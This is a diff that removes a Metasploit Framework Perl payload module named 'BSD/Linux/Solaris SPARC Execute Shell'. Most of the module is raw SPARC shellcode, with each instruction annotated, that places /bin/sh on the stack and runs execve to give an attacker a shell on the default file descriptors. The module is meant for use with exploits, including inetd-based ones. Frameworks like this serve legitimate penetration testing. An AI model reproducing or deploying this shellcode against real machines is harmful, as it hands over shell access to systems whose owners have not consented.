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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Payload::generic_sparc_execve;
- use strict;
- use base 'Msf::PayloadComponent::FindConnection';
-
- my $info =
- {
- 'Name' => 'BSD/Linux/Solaris SPARC Execute Shell',
- 'Version' => '$Revision: 1.1 $',
- 'Description' => 'Execute a shell on the default file descriptors',
- 'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
- 'Arch' => [ 'sparc' ],
- 'Priv' => 0,
- 'OS' => [ 'linux', 'bsd', 'solaris' ],
- 'Size' => '',
- 'Keys' => ['inetd'], # can use execve for inetd-based exploits
- };
-
- sub new {
- my $class = shift;
- my $hash = @_ ? shift : { };
- $hash = $class->MergeHash($hash, {'Info' => $info});
- my $self = $class->SUPER::new($hash, @_);
-
- $self->_Info->{'Size'} = $self->_GenSize;
- return($self);
- }
-
- sub Build {
- my $self = shift;
- return($self->Generate());
- }
-
- sub Generate {
- my $self = shift;
-
- my $shellcode =
- "\x9c\x2b\xa0\x07". # andn %sp, 7, %sp
- "\x94\x1a\xc0\x0b". # xor %o3, %o3, %o3
- "\x21\x0b\xd8\x9a". # sethi 0x2f626800, %l0
- "\xa0\x14\x21\x6e". # or %l0, 0x16e, %l0
- "\x23\x0b\xdc\xda". # sethi 0x2f736800, %l1
- "\x90\x23\xa0\x10". # sub %sp, 0x10, %o0
- "\x92\x23\xa0\x08". # sub %sp, 8, %o1
- "\xe0\x3b\xbf\xf0". # std %l0, [ %sp - 16 ]
- "\xd0\x23\xbf\xf8". # st %o0, [ %sp - 8 ]
- "\xc0\x23\xbf\xfc". # st %g0, [ %sp - 4 ]
- "\x82\x10\x20\x3b". # mov 0x3b, %g1
- "\x91\xd0\x20\x08"; # ta 8
-
- return($shellcode);
- }
-
- sub _GenSize {
- my $self = shift;
- my $bin = $self->Generate();
- return(length($bin));
- }
-
- 1;
-